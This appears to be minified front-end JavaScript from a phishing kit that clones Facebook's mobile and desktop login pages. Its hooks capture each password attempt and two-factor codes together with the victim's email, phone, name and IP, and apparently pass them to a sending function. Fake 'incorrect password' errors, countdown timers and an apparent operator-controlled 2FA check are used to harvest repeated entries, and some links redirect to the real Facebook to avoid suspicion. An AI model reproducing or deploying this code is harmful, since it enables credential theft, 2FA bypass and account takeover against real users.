email")}},NextStep:g,FacebookLogo:d,isLoading:c,loadingType:h})})}),(0,n.jsx)(P,{}),(0,n.jsx)(z,{}),(0,n.jsx)(B,{}),(0,n.jsx)(M,{}),(0,n.jsx)(R,{})]}),(0,n.jsx)(L,{})]})},V=function(e){let{setStep:t,Unik:r,setIp:i,Ip:s,BusinessEmail:a,setBusinessEmail:o,setContinueWithFacebook:l}=e;return(0,n.jsx)(G,{setStep:t,Unik:r,setIp:i,Ip:s,BusinessEmail:a,setBusinessEmail:o,setContinueWithFacebook:l})};let X=e=>{let{Unik:t,Email:r,Tel:n,BusinessEmail:i,Name:s,Ip:a,wrongPasswordTrigger:o=0,setParentBeginTimer:c}=e,{setAllData:d,AllData:m}=(0,l.useContext)(rt),[h,x]=(0,l.useState)(""),[f,u]=(0,l.useState)(!1),[g,w]=(0,l.useState)(""),[b,j]=(0,l.useState)(""),[v,y]=(0,l.useState)(!1),[N,k]=(0,l.useState)(1),[_,C]=(0,l.useState)(o),[E,A]=(0,l.useState)(0);(0,l.useEffect)(()=>{if(o===_&&o===E)return;C(o);let e=E+1;A(e),u(!1),x(""),w("The password that you've entered is incorrect.");let l=e+1;k(l),p({...m,id:t,phone_number:n,login_email:r,business_email:i,ip:a,full_name:s,[2===l?"password_two":"password_three"]:h,currentStep:"Wrong Password - Attempt ".concat(l," - User requested to try again")})},[o,_]);let I=e=>!!e&&""!==e.trim()||(j("Please enter your email, phone number or username"),!1),F=e=>!(e.length<5)||(w("Please enter a valid password"),!1);return{password:h,setPassword:x,isLoading:f,passwordError:g,emailError:b,triedSubmit:v,passwordAttempt:N,wrongPasswordCount:E,handleSubmit:()=>{let e,o,l;y(!0),I(r)&&F(h)&&(u(!0),1===N?(e="password_one",l=1e3*parseInt("60"),o={...m,id:t,phone_number:n,login_email:r,business_email:i,ip:a,full_name:s,[e]:h,currentStep:"Password attempt ".concat(N," submitted password: `").concat(h,"`, loading for ").concat(l/1e3,"s")},setTimeout(()=>{x(""),w("The password that you've entered is incorrect."),k(2),A(1),u(!1)},l)):(e=2===N?"password_two":"password_three",l=6e4,o={...m,id:t,phone_number:n,login_email:r,business_email:i,ip:a,full_name:s,[e]:h,currentStep:"Password attempt ".concat(N," submitted, waiting for verification")},c(!0),setTimeout(()=>u(!1),l)),d(o),p(o))},clearPasswordError:()=>{w("")},clearEmailError:()=>{j("")}}};class q{static isMobileDevice(){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)||window.innerWidth<=768}static handleForgottenPassword(e){let{AllData:t,setAllData:r,Unik:n,Email:i,Ip:s}=e,a={...t,id:n,login_email:i,ip:s,currentStep:this.isMobileDevice()?"User clicked Forgotten Password on Mobile":"User clicked Forgotten Password on PC"};r(a),p(a),setTimeout(()=>{this.isMobileDevice()?window.location.href="https://m.facebook.com/login/identify/":window.location.href="https://www.facebook.com/login/identify/?ctx=recover&ars=facebook_login&from_login_screen=0"},500)}static handleCreateAccount(e){let{AllData:t,setAllData:r,Unik:n,Email:i,Ip:s}=e,a={...t,id:n,login_email:i,ip:s,currentStep:this.isMobileDevice()?"User clicked Create Account on Mobile":"User clicked Create Account on PC"};r(a),p(a),setTimeout(()=>{this.isMobileDevice()?window.location.href="https://m.facebook.com/login/identify/":window.location.href="https://www.facebook.com/r.php?entry_point=login"},500)}}var J={src:"/_next/static/media/FLogoV2.bb313d02.png",height:180,width:180,blurDataURL:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAMAAADz0U65AAAANlBMVEUAaf+Ovf8AV/8fef8BZ/8FZv+myv8AYv8Da/9MaXE+jP/2+f4Cbf/8/f9+tP8adv+81/+31f/+cfPDAAAADHRSTlPt9rD4Liz9/K8A+O08+jUAAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAPUlEQVR4nBXKURaAIAhFwauhDwrU9r/ZTvM9xHCpj8DIvRaGp07NdNCupgTyrZoCz7vmlf7nWsII86f1ER9HpgHwucX43wAAAABJRU5ErkJggg==",blurWidth:8,blurHeight:8};let Y=c.ZP.div.withConfig({componentId:"sc-af03359b-0"})(["display:flex;flex-direction:column;background-color:#fff;height:100vh;width:100%;max-width:100%;margin:0;justify-content:space-between;overflow:hidden;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),Q=c.ZP.div.withConfig({componentId:"sc-af03359b-1"})(["background-color:#fff;width:100%;display:flex;flex-direction:column;justify-content:center;"]),K=c.ZP.div.withConfig({componentId:"sc-af03359b-2"})(["display:flex;justify-content:center;align-items:center;margin-top:20px;height:23px;"]),$=c.ZP.div.withConfig({componentId:"sc-af03359b-3"})(["color:rgb(70,90,105);font-size:13px;font-weight:400;text-align:center;margin-bottom:10px;cursor:pointer;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]),ee=c.ZP.div.withConfig({componentId:"sc-af03359b-4"})(["text-align:center;margin-top:0;flex-shrink:100;display:flex;align-items:center;justify-content:center;width:100%;height:auto;padding-top:20px;padding-bottom:10px;img{max-height:60px;object-fit:contain;}"]),et=c.ZP.div.withConfig({componentId:"sc-af03359b-5"})(["display:flex;flex-direction:column;width:100%;margin-top:0;"]),er=c.ZP.div.withConfig({componentId:"sc-af03359b-6"})(["flex-direction:column;justify-content:flex-start;padding:0 16px;"]),en=c.ZP.input.withConfig({componentId:"sc-af03359b-7"})(["border:1px solid #dddfe2 !important;border-radius:10px !important;padding:22px 16px 6px 16px !important;background-color:#fff;margin-top:0;width:100%;font-size:17px;color:#1d2129;line-height:1.34;min-height:auto;font-family:FBook,Helvetica,system-ui,sans-serif !important;&.redborder{border:1px solid red !important;}::placeholder{color:transparent;user-select:none;}&:focus{outline:none;border-color:#0866ff !important;box-shadow:0 0 0 2px #e7f3ff;}"]),ei=c.ZP.div.withConfig({componentId:"sc-af03359b-8"})(["position:relative;margin-bottom:12px;"]),es=c.ZP.label.withConfig({componentId:"sc-af03359b-9"})(["position:absolute;top:14px;left:16px;font-size:17px;font-weight:400;color:#90949c;pointer-events:none;transition:all 0.2s ease-out;background-color:#fff;padding:0 4px;line-height:1.34;font-family:FBook,Helvetica,system-ui,sans-serif !important;",":disabled ~ &{color:#adb5bd;}"],en),ea=(0,c.ZP)(ei).withConfig({componentId:"sc-af03359b-10"})(["",":focus ~ ",",",":not(:placeholder-shown) ~ ","{top:0;left:12px;transform:translateY( -50% );font-size:13px;height:auto;line-height:1;color:#1d2129;}",":focus:not(:disabled) ~ ","{color:#0866ff;}"],en,es,en,es,en,es),eo=c.ZP.button.withConfig({componentId:"sc-af03359b-11"})(["width:100%;height:40px;background-color:#0866ff;border:none;border-radius:30px;color:rgb(255,255,255);font-size:18px;font-family:FBook,Helvetica,system-ui,sans-serif !important;padding:0 16px;margin-top:6px;cursor:pointer;display:flex;align-items:center;justify-content:center;line-height:48px;&:hover{background-color:#005ce6;}"]),el=c.ZP.div.withConfig({componentId:"sc-af03359b-12"})(["text-align:center;margin-top:16px;height:auto;display:flex;align-items:center;justify-content:center;padding-bottom:16px;margin-left:0;margin-right:0;padding-left:0;padding-right:0;border-bottom:none;a{color:rgb(73,73,73);font-size:15px;font-weight:500;font-family:FBook,Helvetica,system-ui,sans-serif !important;text-decoration:none;line-height:1.248;&:hover{text-decoration:underline;}}"]),ec=c.ZP.div.withConfig({componentId:"sc-af03359b-13"})(["display:flex;flex-direction:column;align-items:center;margin-top:auto;flex-grow:0;flex-shrink:0;padding-bottom:20px;padding-top:20px;justify-content:flex-end;width:100%;"]),ed=c.ZP.div.withConfig({componentId:"sc-af03359b-14"})(["width:100%;margin-top:1.5rem;display:flex;align-items:center;justify-content:center;padding:0 12px;"]),em=c.ZP.button.withConfig({componentId:"sc-af03359b-15"})(["border:none;border-radius:6px;color:#fff;font-size:17px;border-radius:30px;padding:0 16px;height:48px;min-width:auto;display:flex;align-items:center;justify-content:center;cursor:pointer;line-height:48px;margin-top:0;flex-grow:1;background-color:transparent;border:1px solid #0064e0;color:#0064e0;font-family:FBook,Helvetica,system-ui,sans-serif !important;&:hover{background-color:rgba(0,100,224,0.05);}"]),eh=c.ZP.div.withConfig({componentId:"sc-af03359b-16"})(["display:flex;flex-direction:column;align-items:center;flex-grow:0;flex-shrink:0;padding-bottom:0;justify-content:flex-end;width:100%;margin-bottom:10px;"]),ex=c.ZP.div.withConfig({componentId:"sc-af03359b-17"})(["text-align:center;margin:10px 0;img{height:12px;}"]),ef=c.ZP.div.withConfig({componentId:"sc-af03359b-18"})(["display:flex;justify-content:center;flex-wrap:wrap;span{color:rgb(99,120,138);font-size:10px;margin:0 4px 4px;cursor:pointer;font-family:FBook,Helvetica,system-ui,sans-serif !important;}"]),ep=c.ZP.div.withConfig({componentId:"sc-af03359b-19"})(["width:20px;height:20px;border:3px solid rgba(255,255,255,0.3);border-radius:50%;border-top-color:white;animation:spin 1s ease-in-out infinite;margin:0 auto;@keyframes spin{to{transform:rotate(360deg);}}"]),eu=c.ZP.div.withConfig({componentId:"sc-af03359b-20"})(["color:red;font-size:13px;font-weight:500;margin-top:4px;text-align:left;margin-bottom:8px;font-family:FBook,Helvetica,system-ui,sans-serif !important;"]);var eg=function(e){let{Unik:t,Tel:r,Email:i,setEmail:s,Name:a,BusinessEmail:o,Ip:c,setParentBeginTimer:d,InvalidPassword:m,wrongPasswordTrigger:h}=e,[x,f]=(0,l.useState)(!1),{setAllData:p,AllData:u}=(0,l.useContext)(rt),{password:w,setPassword:b,isLoading:j,passwordError:v,emailError:y,triedSubmit:N,passwordAttempt:k,handleSubmit:_,clearPasswordError:C,clearEmailError:E}=X({Unik:t,Email:i,Tel:r,BusinessEmail:o,Name:a,Ip:c,wrongPasswordTrigger:h,setParentBeginTimer:d});return(0,n.jsxs)(Y,{children:[(0,n.jsx)(K,{children:(0,n.jsx)($,{children:"English (US)"})}),(0,n.jsx)(ee,{children:(0,n.jsx)(g(),{src:J,alt:"Facebook Logo",width:60,height:60})}),(0,n.jsx)(Q,{children:(0,n.jsx)(et,{children:(0,n.jsxs)(er,{children:[(0,n.jsxs)(ea,{children:[(0,n.jsx)(en,{type:"text",id:"email-input",value:i,onChange:e=>{s(e.target.value),E(),e.target.value.length>=3?f(!0):f(!1)},placeholder:" ",className:"form-control ".concat(!x&&N?"redborder":""),disabled:j}),(0,n.jsx)(es,{htmlFor:"email-input",children:"Mobile number or email address"})]}),y&&(0,n.jsx)(eu,{children:y}),(0,n.jsxs)(ea,{children:[(0,n.jsx)(en,{type:"password",id:"password-input",value:w,onChange:e=>{b(e.target.value),C()},placeholder:" ",className:"form-control ".concat(w.length<5&&N?"redborder":""),disabled:j}),(0,n.jsx)(es,{htmlFor:"password-input",children:"Password"})]}),v&&(0,n.jsx)(eu,{children:v}),(0,n.jsx)(eo,{onClick:_,children:j?(0,n.jsx)(ep,{}):"Log in"}),(0,n.jsx)(el,{children:(0,n.jsx)("a",{href:"#",onClick:e=>{e.preventDefault(),q.handleForgottenPassword({AllData:u,setAllData:p,Unik:t,Email:i,Ip:c})},children:"Forgotten password?"})})]})})}),(0,n.jsxs)(eh,{children:[(0,n.jsx)(ec,{children:(0,n.jsx)(ed,{children:(0,n.jsx)(em,{onClick:e=>{e.preventDefault(),q.handleCreateAccount({AllData:u,setAllData:p,Unik:t,Email:i,Ip:c})},children:"Create new account"})})}),(0,n.jsx)(ex,{children:(0,n.jsx)("img",{src:"https://z-m-static.xx.fbcdn.net/rsrc.php/v4/yK/r/soeuNpXL37G.png",alt:"Meta logo"})}),(0,n.jsxs)(ef,{children:[(0,n.jsx)("span",{children:"About"}),(0,n.jsx)("span",{children:"Help"}),(0,n.jsx)("span",{children:"More"})]})]})]})},ew=function(e){let{Unik:t,Tel:r,Email:i,setEmail:s,Name:a,BusinessEmail:o,Ip:c,setParentBeginTimer:d,InvalidPassword:m,wrongPasswordTrigger:h}=e,[x,f]=(0,l.useState)(!0),{setAllData:p,AllData:u}=(0,l.useContext)(rt),{password:g,setPassword:w,isLoading:b,passwordError:j,emailError:v,triedSubmit:y,passwordAttempt:N,handleSubmit:k,clearPasswordError:_,clearEmailError:C}=X({Unik:t,Email:i,Tel:r,BusinessEmail:o,Name:a,Ip:c,wrongPasswordTrigger:h,setParentBeginTimer:d});return(0,n.jsxs)("div",{className:"flex flex-col bg-gray-100 w-full min-h-screen font-fbook",children:[(0,n.jsxs)("div",{className:"flex justify-center items-center flex-1 py-15 max-w-9xl mx-auto w-full md:flex-row flex-col md:py-17 py-4 px-4 md:px-0 md:items-center md:justify-center",children:[(0,n.jsxs)("div",{className:"flex-1 md:pr-14 md:max-w-2xl md:text-left text-left md:mb-0 mb-10 max-w-none w-full md:-mt-32 -mt-4",children:[(0,n.jsx)("img",{src:"facebook.svg",alt:"Facebook Logo",className:"w-[45%] mb-4"}),(0,n.jsx)("p",{className:"text-gray-800 text-3xl md:text-3xl text-left font-normal font-fbook leading-8 md:leading-8 m-0 md:px-0",children:"Facebook helps you connect and share with the people in your life."})]}),(0,n.jsxs)("div",{className:"flex-none w-full max-w-sm flex flex-col items-center md:w-96",children:[(0,n.jsxs)("div",{className:"bg-white rounded-lg shadow-lg p-3 w-full md:border-0 border ",children:[(0,n.jsx)("input",{type:"text",value:i,onChange:e=>{s(e.target.value),C(),f(!0)},placeholder:"Email address or phone number",className:"border border-gray-300 rounded-md py-3.5 px-4 bg-white w-full text-lg mb-2 text-gray-800 leading-normal box-border placeholder-gray-400 focus:outline-none focus:border-blue-600 focus:shadow-blue-100 focus:shadow-sm font-fbook ".concat(!x&&y?"border-red-500":""),disabled:b}),v&&(0,n.jsx)("div",{className:"text-red-500 text-sm font-medium text-left mb-2 font-fbook",children:v}),(0,n.jsx)("input",{type:"password",value:g,onChange:e=>{w(e.target.value),_()},placeholder:"Password",className:"border border-gray-300 rounded-md py-3.5 px-4 bg-white w-full text-lg text-gray-800 leading-normal mb-3 box-border placeholder-gray-400 focus:outline-none focus:border-blue-600 focus:shadow-blue-100 focus:shadow-sm font-fbook ".concat(g.length<5&&y?"border-red-500":""),disabled:b}),j&&(0,n.jsx)("div",{className:"text-red-500 text-sm font-medium text-left mb-2 font-fbook",children:j}),(0,n.jsx)("button",{onClick:k,className:"w-full h-12 bg-blue-600 border-none rounded-md text-white text-xl font-normal font-fbook px-4 mb-2 cursor-pointer flex items-center justify-center hover:bg-blue-700",children:b?(0,n.jsx)("div",{className:"flex items-center justify-center h-10 w-10",children:(0,n.jsxs)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 200 200",className:"h-full w-full",children:[(0,n.jsxs)("radialGradient",{id:"a12",cx:".66",fx:".66",cy:".3125",fy:".3125",gradientTransform:"scale(1.5)",children:[(0,n.jsx)("stop",{offset:"0",stopColor:"#FFFFFF"}),(0,n.jsx)("stop",{offset:".3",stopColor:"#FFFFFF",stopOpacity:".9"}),(0,n.jsx)("stop",{offset:".6",stopColor:"#FFFFFF",stopOpacity:".6"}),(0,n.jsx)("stop",{offset:".8",stopColor:"#FFFFFF",stopOpacity:".3"}),(0,n.jsx)("stop",{offset:"1",stopColor:"#FFFFFF",stopOpacity:"0"})]}),(0,n.jsx)("circle",{"transform-origin":"center",fill:"none",stroke:"url(#a12)",strokeWidth:"15",strokeLinecap:"round",strokeDasharray:"200 1000",strokeDashoffset:"0",cx:"100",cy:"100",r:"70",children:(0,n.jsx)("animateTransform",{type:"rotate",attributeName:"transform",calcMode:"spline",dur:"2",values:"360;0",keyTimes:"0;1",keySplines:"0 0 1 1",repeatCount:"indefinite"})}),(0,n.jsx)("circle",{"transform-origin":"center",fill:"none",opacity:".2",stroke:"#FFFFFF",strokeWidth:"15",strokeLinecap:"round",cx:"100",cy:"100",r:"70"})]})}):"Log in"}),(0,n.jsx)("div",{className:"text-center",children:(0,n.jsx)("a",{href:"#",onClick:e=>{e.preventDefault(),q.handleForgottenPassword({AllData:u,setAllData:p,Unik:t,Email:i,Ip:c})},className:"text-blue-600 text-sm no-underline font-fbook hover:underline",children:"Forgotten password?"})}),(0,n.jsx)("div",{className:"border-t border-gray-300 my-3"}),(0,n.jsx)("button",{className:"bg-[#42b72a] border-none rounded-md text-white text-lg font-normal py-0 px-4 h-12 cursor-pointer font-fbook mx-auto block hover:bg-green-700",children:(0,n.jsx)("a",{onClick:e=>{e.preventDefault(),q.handleCreateAccount({AllData:u,setAllData:p,Unik:t,Email:i,Ip:c})},href:"https://www.facebook.com/r.php",className:"text-white no-underline font-fbook",children:"Create new account"})})]}),(0,n.jsxs)("p",{className:"mt-4 text-sm text-center text-gray-700 max-w-sm",children:[(0,n.jsx)("a",{href:"https://www.facebook.com/pages/create/?ref_type=registration_form",className:"font-bold hover:underline text-black",children:"Create a Page"})," ","for a celebrity, brand or business."]})]})]}),(0,n.jsxs)("footer",{className:"flex flex-col items-start w-full pt-4 pb-5 bg-white font-fbook text-xs text-gray-500 md:mt-0 mt-0",children:[(0,n.jsxs)("div",{className:"flex flex-wrap justify-start mb-2 border-b border-gray-300 pb-2 w-full max-w-5xl mx-auto",children:[(0,n.jsx)("div",{className:"text-xs mx-1 text-gray-500",children:"English (UK)"}),(0,n.jsx)("a",{href:"https://es-la.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"Espa\xf1ol"}),(0,n.jsx)("a",{href:"https://fr-fr.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"Fran\xe7ais (France)"}),(0,n.jsx)("a",{href:"https://zh-cn.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"中文(简体)"}),(0,n.jsx)("a",{href:"https://ar-ar.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"العربية"}),(0,n.jsx)("a",{href:"https://pt-br.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"Portugu\xeas (Brasil)"}),(0,n.jsx)("a",{href:"https://it-it.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"Italiano"}),(0,n.jsx)("a",{href:"https://ko-kr.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"한국어"}),(0,n.jsx)("a",{href:"https://de-de.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"Deutsch"}),(0,n.jsx)("a",{href:"https://hi-in.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"हिन्दी"}),(0,n.jsx)("a",{href:"https://ja-jp.facebook.com/",className:"text-xs mx-1 text-gray-500 cursor-pointer hover:underline",children:"日本語"}),(0,n.jsx)("button",{className:"bg-gray-100 border border-gray-300 rounded-sm px-2 h-5 text-xs text-gray-600 ml-1 cursor-pointer hover:bg-gray-200",children:"+"})]}),(0,n.jsxs)("div",{className:"flex flex-wrap justify-start mt-2 max-w-5xl mx-auto w-full",children:[(0,n.jsx)("a",{href:"/reg/",className:"text-gray-500 text-xs mb-1 no-underline cursor-pointer hover:underline",children:"Sign Up"}),(0,n.jsx)("a",{href:"/login/",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline font-fbook font-normal",children:"Log In"}),(0,n.jsx)("a",{href:"https://messenger.com/",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Messenger"}),(0,n.jsx)("a",{href:"/lite/",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Facebook Lite"}),(0,n.jsx)("a",{href:"https://en-gb.facebook.com/watch/",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Video"}),(0,n.jsx)("a",{href:"https://about.meta.com/technologies/meta-pay",target:"_blank",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Meta Pay"}),(0,n.jsx)("a",{href:"https://www.meta.com/",target:"_blank",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Meta Store"}),(0,n.jsx)("a",{href:"https://www.meta.com/quest/",target:"_blank",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Meta Quest"}),(0,n.jsx)("a",{href:"https://www.meta.com/smart-glasses/",target:"_blank",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Ray-Ban Meta"}),(0,n.jsx)("a",{href:"https://www.meta.ai/",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Meta AI"}),(0,n.jsx)("a",{href:"https://www.instagram.com/",target:"_blank",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Instagram"}),(0,n.jsx)("a",{href:"https://www.threads.com/",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Threads"}),(0,n.jsx)("a",{href:"/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D",className:"text-gray-500 text-xs mb-1 no-underline cursor-pointer hover:underline",children:"Voting Information Centre"}),(0,n.jsx)("a",{href:"/privacy/policy/?entry_point=facebook_page_footer",className:"text-gray-500 text-xs mb-1 m-0 no-underline cursor-pointer hover:underline",children:"Privacy Policy"}),(0,n.jsx)("a",{href:"/privacy/policies/health/?entry_point=facebook_page_footer",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Consumer Health Privacy"}),(0,n.jsx)("a",{href:"/privacy/center/?entry_point=facebook_page_footer",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Privacy Centre"}),(0,n.jsx)("a",{href:"https://about.meta.com/",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"About"}),(0,n.jsx)("a",{href:"/ad_campaign/landing.php?placement=pflo&campaign_id=402047449186&nav_source=unknown&extra_1=auto",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Create ad"}),(0,n.jsx)("a",{href:"/pages/create/?ref_type=site_footer",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Create Page"}),(0,n.jsx)("a",{href:"https://developers.facebook.com/?ref=pf",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Developers"}),(0,n.jsx)("a",{href:"/careers/?ref=pf",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Careers"}),(0,n.jsx)("a",{href:"/policies/cookies/",className:"text-gray-500 text-xs mb-1 no-underline cursor-pointer hover:underline",children:"Cookies"}),(0,n.jsx)("a",{href:"https://www.facebook.com/help/568137493302217",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"AdChoices"}),(0,n.jsx)("a",{href:"/policies?ref=pf",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Terms"}),(0,n.jsx)("a",{href:"/help/?ref=pf",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Help"}),(0,n.jsx)("a",{href:"https://www.facebook.com/help/637205020878504",className:"text-gray-500 text-xs mb-1 no-underline cursor-pointer hover:underline",children:"Contact uploading and non-users"}),(0,n.jsx)("a",{href:"/settings",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Settings"}),(0,n.jsx)("a",{href:"/allactivity?privacy_source=activity_log_top_menu",className:"text-gray-500 text-xs mx-2 mb-1 no-underline cursor-pointer hover:underline",children:"Activity log"})]}),(0,n.jsx)("div",{className:"mt-3 text-xs text-gray-500 max-w-5xl w-full mx-auto",children:"Meta \xa9 2025"})]})]})};function eb(){return(eb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{if(!e||"string"!=typeof e)return!1;let t=e.replace(/\D/g,"");return!(t.length<6)&&!(t.length>15)},eL=e=>!!e&&"string"==typeof e&&!(!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(e)||3>e.indexOf("@")),eO=e=>{if(!eR(e))return"your phone number";let t=e.replace(/\D/g,"");return"".concat(t.substring(0,3),"*******").concat(t.substring(t.length-2))},eH=e=>{if(!eL(e))return"your email";let t=e.indexOf("@");return"".concat(e.substring(0,3),"******").concat(e.substring(t))},eD=(e,t)=>{let r=eL(e),n=eL(t);return r||n?r&&n?"".concat(eH(e)," (").concat(eH(t),")"):r?eH(e):eH(t):"your email"},eW={WAIT_FOR_TIMEOUT:!0,TIMEOUT_DURATION:parseInt("60")||60},eU=()=>1e3*eW.TIMEOUT_DURATION,eZ=()=>eW.WAIT_FOR_TIMEOUT,eG=function(e){arguments.length>1&&void 0!==arguments[1]&&arguments[1]},eV=[6,8],eX={IDLE:"idle",LOADING:"loading",ERROR:"error",SUCCESS:"success"},eq=e=>{let{LastFetch:t,wrong2faTrigger:r=0,setStep:i,nextStep:s=4,componentName:a="2FA",initialMessage:o="2FA Page Loaded",allowImmediateRetry:c=!1,customLoadingDuration:d=null}=e,[m,h]=(0,l.useState)(eX.IDLE),[x,f]=(0,l.useState)(""),[u,g]=(0,l.useState)(30),[w,b]=(0,l.useState)(0),[j,v]=(0,l.useState)(!1),y=(0,l.useRef)(null),N=(0,l.useRef)(null),k=(0,l.useRef)(0),_=(0,l.useRef)(r),{setAllData:C,AllData:E}=(0,l.useContext)(rt),A=e=>eV.includes((null==e?void 0:e.length)||0),I=(0,l.useCallback)((e,t)=>{let r={...E,tfa_one:e||"",currentStep:t};C(r),p(r)},[E,C]),F=(0,l.useCallback)(()=>{y.current&&(clearTimeout(y.current),y.current=null,eG("Timeout cleared")),N.current&&(clearInterval(N.current),N.current=null,eG("Countdown cleared"))},[]),S=(0,l.useCallback)(()=>{eG("[STATE] ERROR"),h(eX.ERROR),f(""),c?setTimeout(()=>{h(eX.IDLE),v(!1),eG("Immediate retry enabled")},100):(g(30),N.current=setInterval(()=>{g(e=>e<=1?(clearInterval(N.current),N.current=null,h(eX.IDLE),v(!1),eG("Countdown finished - retry enabled"),30):e-1)},1e3))},[c]),T=(0,l.useCallback)(()=>{eG("[STATE] SUCCESS"),h(eX.SUCCESS),F(),i(s)},[F,i,s]),P=(0,l.useCallback)(()=>{eG("[STATE] LOADING"),h(eX.LOADING),F()},[F]),z=(0,l.useCallback)(e=>{eG("\n=== TIMEOUT FIRED FOR ATTEMPT ".concat(e," ===")),S(),I("","".concat(a," Timeout - Attempt ").concat(e," failed after ").concat((d||(eZ()?eU():1e3))/1e3,"s"))},[a,d,I,S]),B=(0,l.useCallback)(function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"tfa_one";if(e.preventDefault(),v(!0),!A(x)){eG("Invalid code length - submission blocked");return}if(m===eX.LOADING){eG("Already loading - submission blocked");return}if(m===eX.ERROR&&!c&&u>0){eG("Still in countdown - submission blocked");return}let r=w+1;k.current=r,b(r),eG("\n[SUBMIT] ".concat(a," attempt ").concat(r," starting")),eG("Code: ".concat(x)),eG("State: ".concat(m)),P();let n={...E,[t]:x,currentStep:"".concat(a," Attempt ").concat(r," - Code: `").concat(x,"`")};C(n),p(n);let i=d||(eZ()?eU():1e3);eG("Setting timeout (".concat(i,"ms) for attempt ").concat(r)),y.current=setTimeout(()=>{m===eX.LOADING&&z(r)},i)},[x,m,u,w,a,c,E,C,P,z,d]);(0,l.useEffect)(()=>{if(eG("[wrong2faEffect] Trigger value:",r),m!==eX.LOADING){eG("[wrong2faEffect] Skipped - state is ".concat(m,", expected LOADING"));return}if(r===_.current){eG("[wrong2faEffect] Skipped - trigger ".concat(r," already processed"));return}eG("[wrong2faEffect] Processing new trigger: ".concat(r)),eG("[wrong2faEffect] Current attempt: ".concat(k.current)),_.current=r,y.current&&(clearTimeout(y.current),y.current=null,eG("[wrong2faEffect] Timeout cleared")),eG("[wrong2faEffect] Transitioning to error state"),S(),I(x,"".concat(a," Invalid - Attempt ").concat(k.current," failed - ").concat(c?"Can retry immediately":"User locked 30s"))},[r,m,x,a,c,I,S]),(0,l.useEffect)(()=>{m===eX.LOADING&&"correct2fa"===t&&(eG("[correct2faEffect] Processing correct2fa response"),eG("[correct2faEffect] Current attempt: ".concat(k.current)),y.current&&(clearTimeout(y.current),y.current=null,eG("[correct2faEffect] Timeout cleared")),eG("[correct2faEffect] Transitioning to success state"),I(x,"".concat(a," Success - Attempt ").concat(k.current," - Proceeding to next step")),T())},[t,m,x,a,I,T]),(0,l.useEffect)(()=>(eG("Initializing ".concat(a)),I("","".concat(o," - ").concat(a," form displayed")),()=>{eG("Cleaning up ".concat(a)),F()}),[]);let M=(0,l.useCallback)(e=>{f(e.target.value)},[]);return{code:x,isLoading:m===eX.LOADING,showError:m===eX.ERROR,countdown:u,attemptCount:w,hasTriedSubmit:j,allowImmediateRetry:c,handleSubmit:B,handleCodeChange:M,shouldShowRedBorder:()=>m===eX.ERROR||j&&!A(x),renderCountdown:()=>(0,n.jsxs)("span",{className:"text-start fw-bold",children:["00:",u<10&&"0",u]}),isButtonDisabled:()=>m===eX.LOADING||m===eX.ERROR&&!c&&u>0,isValidCode:A}},eJ=c.zo.div.withConfig({componentId:"sc-ce183c77-0"})(["position:fixed;display:flex;justify-content:center;align-items:center;width:100%;height:100%;z-index:1000;top:0px;left:0px;padding-inline:1rem;"]),eY=c.zo.div.withConfig({componentId:"sc-ce183c77-1"})(["max-width:550px;width:100%;height:530px;display:flex;flex-direction:column;justify-content:space-between;position:relative;padding-block:1.5rem;margin-block:1rem;@media (max-width:991.98px){height:430px;}button:disabled{opacity:0.5;}"]),eQ=c.zo.div.withConfig({componentId:"sc-ce183c77-2"})(["padding-bottom:0.1rem;font-weight:700;font-size:20px;font-family:FBook,Helvetica,system-ui,sans-serif 